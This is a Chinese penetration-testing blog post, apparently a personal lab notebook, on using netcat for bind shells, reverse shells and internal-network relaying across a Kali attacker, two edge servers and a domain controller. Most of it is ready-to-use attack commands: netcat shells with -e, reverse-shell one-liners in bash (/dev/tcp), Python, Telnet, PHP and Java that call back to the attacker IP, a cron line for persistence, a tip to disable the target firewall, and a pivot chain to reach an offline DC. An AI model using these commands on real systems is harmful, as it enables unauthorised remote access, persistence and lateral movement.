【渗透测试笔记】之【内网渗透——传输层隧道(nc的使用:nc的正反向shell、bash、python、php、java的反向shell、内网转发)】

实验环境

kali(攻击机,外网地址:192.168.8.48)
Windows2012(边界服务器,外网地址:192.168.8.56,内网地址:10.1.1.10)
CentOS7(边界服务器,外网地址:192.168.8.35,内网地址:10.1.1.13)
DC(内网地址:10.1.1.2)
请添加图片描述

1 下载与部署

下载地址:https://github.com/AA8j/SecTools/tree/main/nc

或:

apt install netcat -y

2 使用方法

查看帮助:

nc -h

在这里插入图片描述

-d				// 后台模式(windows下)
-e filename		// 程序重定向
-g gateway		// 网关。设詈路由器通信网关,最多可以设詈8个。
-G num			// 设置源路由指向器的数量,为4的倍数。
-i secs			// 设置时间间隔,以便传送信息及扫描通信端口。
-l				// 使用监听模式。
-n				// 直接使用IP地址,不通过域名服务器。
-o file			// 输出文件,把往来传输的数据转换为十六进制字节码后保存在该文件中。
-p port			// 设置通信端口。
-r				// 随机指定本地与远程主机的通信端口。
-s addr			// 源地址,设詈本地主机送出数据包的IP地址。
-t				// 应答远程登录。
-u				// 使用UDP传输。
-v				// 详细输出。
-w secs			// 设置超时秒数。
-z				// 将输入输出功能关闭,只在扫描通信端口时使用。

案例:
nc -v -z 目标IP 80-200		// 指定端口扫描
nc -nv 目标IP 21				// Banner 抓取
nc -lvnp 4444				// 本地端口监听
nc -nvv 目标IP 4444			// 连接远程主机

2.1 正向shell

Windows2012(边界服务器,外网地址:192.168.8.56,内网地址:10.1.1.10)

nc -ldp 4444 -e c:\windows\system32\cmd.exe

在这里插入图片描述

CentOS7(边界服务器,外网地址:192.168.8.35,内网地址:10.1.1.13)

nc -lvp 4444 -e /bin/sh

在这里插入图片描述

kali(攻击机,外网地址:192.168.8.48)
连接windows shell:

nc 192.168.8.56 4444

在这里插入图片描述
连接CentOS Shell:

nc 192.168.8.35 5555

# 注意:出现(UNKNOWN) [192.168.8.35] 56 (?) : No route to host的情况可以关闭目标主机防火墙
systemctl stop firewalld

在这里插入图片描述

2.2 nc反弹shell

kali(攻击机,外网地址:192.168.8.48)

nc -lvnp 4444
# 监听4444和5555端口
nc -lvnp 5555

在这里插入图片描述

Windows2012(边界服务器,外网地址:192.168.8.56,内网地址:10.1.1.10)

nc -d 192.168.8.48 4444 -e c:\windows\system32\cmd.exe

在这里插入图片描述

在这里插入图片描述

CentOS7(边界服务器,外网地址:192.168.8.35,内网地址:10.1.1.13)

nc -d 192.168.8.48 5555 -e /bin/sh

在这里插入图片描述

在这里插入图片描述

2.3 其它反弹shell

2.3.1 Bash反弹shell

kali(攻击机,外网地址:192.168.8.48)

nc -lvnp 7777

在这里插入图片描述
CentOS7(边界服务器,外网地址:192.168.8.35,内网地址:10.1.1.13)

bash -i >& /dev/tcp/192.168.8.48/7777 0>&1
# TCP
bash -i >& /dev/udp/192.168.8.48/7777 0>&1
# UDP

以tcp为例:
在这里插入图片描述
在这里插入图片描述
可以写入定时任务维持权限,crontab -e编辑当前用户的任务,或者是写到计划任务目录,一般是/var/spool/cron/目录,ubuntu是/var/spool/cron/crontabs

* * * * * /bin/bash -i >& /dev/tcp/192.168.8.48/4444 0>&1

2.3.2 python反弹shell

kali(攻击机,外网地址:192.168.8.48)

nc -lvnp 8888

CentOS7(边界服务器,外网地址:192.168.8.35,内网地址:10.1.1.13)

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.8.48",8888));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

在这里插入图片描述
在这里插入图片描述

2.3.3 Telnet反弹shell

mknod backpipe p && telnet 192.168.8.48 4444 0<backpipe | /bin/bash 1>backpipe

2.3.4 PHP反弹shell

php -r '$sock=fsockopen("192.168.8.48",4444);exec("/bin/sh -i <&3 >&3 2>&3");'

2.3.5 Java反弹shell

r = Runtime.getRuntime()
p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/192.168.8.48/4444;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])
p.waitFor()

2.4 内网转发

假如kali(攻击机,外网地址:192.168.8.48)已经获取到CentOS7(边界服务器,外网地址:192.168.8.35,内网地址:10.1.1.13)的权限,然后通过CentOS7作为跳板机又获取到了DC(内网地址:10.1.1.2)的权限,但是发现DC不出网,此时就可以通过CentOS7作为代理转发到kali上。

此方法在边界服务器为Linux时实验有效,Windows时失败。

kali(攻击机,外网地址:192.168.8.48)

nc -lvnp 4444
# 首先开启攻击机的监听

在这里插入图片描述

DC(内网地址:10.1.1.2)

nc -d -lvnp 4444 -e c:\windows\system32\cmd.exe
# DC 也开启监听

在这里插入图片描述

CentOS7(边界服务器,外网地址:192.168.8.35,内网地址:10.1.1.13)

nc -v 192.168.8.48 4444 -c "nc -v 10.1.1.2 4444"

在这里插入图片描述
成功获取到DC的Shell:
在这里插入图片描述

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值